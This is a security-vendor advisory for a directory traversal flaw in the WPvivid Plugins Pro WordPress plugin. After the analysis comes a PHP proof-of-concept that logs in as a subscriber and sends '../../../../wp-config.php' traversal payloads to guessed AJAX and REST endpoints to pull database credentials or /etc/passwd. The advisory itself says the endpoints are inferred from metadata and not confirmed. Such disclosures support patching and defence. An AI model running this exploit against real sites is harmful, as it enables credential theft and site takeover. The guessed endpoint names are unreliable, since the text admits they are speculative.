Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-123085 (metadata-based): The WPvivid Plugins Pro plugin for WordPress, versions up to and including 2.2.53, is vulnerable to authenticated directory traversal through the ‘file_name’ parameter. This allows any authenticated user with Subscriber-level access or higher to read arbitrary files on the web server. The vulnerability is rated CVSS 6.5 (Medium) with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N, indicating a high confidentiality impact but no integrity or availability impact. The patched version is 2.2.54.
Root Cause: The CWE classification (CWE-22 Improper Limitation of a Pathname to a Restricted Directory) confirms that the plugin fails to properly sanitize or validate the ‘file_name’ parameter before using it in a filesystem operation. The description explicitly names the ‘file_name’ parameter as the attack vector. Atomic Edge analysis infers that the vulnerable code likely constructs a file path from user input without adequate normalization or containment checks, allowing directory traversal sequences (e.g., ‘../’) to escape the intended directory. No source code diff is available, so the exact vulnerable function (e.g., a backup download handler, an AJAX action, or a REST endpoint) is not confirmed from code. However, the parameter name and the plugin’s functionality (backup and migration) suggest the vulnerable endpoint handles file retrieval for backup or restore operations.
Exploitation: An attacker with Subscriber-level credentials can send a crafted request to the vulnerable endpoint, supplying a ‘file_name’ value containing directory traversal sequences to read arbitrary files. The exact endpoint (AJAX action or REST route) is not disclosed in the metadata. Atomic Edge research infers that the endpoint is likely a WordPress AJAX handler (e.g., /wp-admin/admin-ajax.php?action=wpvivid_…) or a REST API route (e.g., /wp-json/wpvivid/v1/…). Common WordPress plugin patterns for backup plugins include AJAX actions named with the plugin slug prefix. The payload would be a ‘file_name’ parameter such as ‘../../../../wp-config.php’ or ‘../../../etc/passwd’, depending on the intended base directory. The CVSS vector confirms network-based exploitation with low attack complexity, requiring only low privileges (Subscriber+).
Remediation: The fix in version 2.2.54 likely enforces proper path validation on the ‘file_name’ parameter. Based on CWE-22, remediation should canonicalize the resolved path and verify it resides within the intended base directory, rejecting any traversal sequences. Input sanitization functions like basename() or realpath() combined with prefix checks are common mitigations. Atomic Edge analysis infers that the patch adds a containment check before file operations, possibly using WordPress’s validate_file() or a custom realpath comparison. No code diff is available, so the specific implementation is speculative.
Impact: Successful exploitation allows an authenticated Subscriber to read arbitrary files on the server, including sensitive configuration files (wp-config.php), database credentials, API keys, and other secrets. This can lead to full site compromise, privilege escalation, or data exfiltration. The CVSS vector shows high confidentiality impact, with no direct integrity or availability impact. Given the low privilege requirement, this vulnerability poses a significant risk to multi-user WordPress sites where Subscriber accounts are easily obtained (e.g., via registration or comment privileges).
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-123085 - WPvivid Plugins Pro <= 2.2.53 - Authenticated (Subscriber+) Arbitrary File Read via 'file_name' Parameter
// CONFIGURATION
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'subscriber'; // WordPress username with Subscriber role
$password = 'password'; // WordPress password
$target_file = '../../../../wp-config.php'; // File to read (relative to intended base directory)
// END CONFIGURATION
// Step 1: Authenticate to WordPress and obtain cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code != 200 || strpos($login_response, 'wp-admin') === false) {
die("[!] Login failed. Check credentials.n");
}
echo "[+] Logged in as $usernamen";
// Step 2: Attempt to exploit via AJAX endpoint (common pattern)
// The exact AJAX action is unknown; Atomic Edge research assumes 'wpvivid_get_file' or similar.
// We will try a list of plausible actions based on plugin slug and functionality.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$possible_actions = [
'wpvivid_get_file',
'wpvivid_download_file',
'wpvivid_read_file',
'wpvivid_backup_download',
'wpvivid_export_file',
'wpvivid_get_backup_file',
'wpvivid_file_read'
];
foreach ($possible_actions as $action) {
echo "[*] Trying AJAX action: $actionn";
$post_fields = http_build_query([
'action' => $action,
'file_name' => $target_file
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for signs of successful file read
if ($http_code == 200 && (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_PASSWORD') !== false || strpos($response, 'root:') !== false)) {
echo "[+] Success! File contents:n" . $response . "n";
exit(0);
}
// Also check if response is not a standard error (e.g., '0' or '-1')
if ($http_code == 200 && strlen($response) > 10 && strpos($response, 'error') === false) {
echo "[?] Possible non-error response from action $action:n" . substr($response, 0, 200) . "n";
}
}
// Step 3: Attempt via REST API endpoint (if AJAX fails)
$rest_url = $target_url . '/wp-json/wpvivid/v1/get_file';
// Alternatively try other common REST paths
$rest_paths = [
'/wp-json/wpvivid/v1/download',
'/wp-json/wpvivid/v1/file',
'/wp-json/wpvivid/v1/backup/download'
];
foreach ($rest_paths as $path) {
$url = $target_url . $path . '?file_name=' . urlencode($target_file);
echo "[*] Trying REST endpoint: $urln";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && (strpos($response, 'DB_NAME') !== false || strpos($response, 'DB_PASSWORD') !== false)) {
echo "[+] Success via REST! Contents:n" . $response . "n";
exit(0);
}
}
// Step 4: Attempt direct file access (less likely)
$direct_url = $target_url . '/wp-content/plugins/wpvivid-backup-pro/read_file.php?file_name=' . urlencode($target_file);
// ... (similar curl request)
echo "[-] Exploit attempts failed. The exact endpoint may differ.n";
?>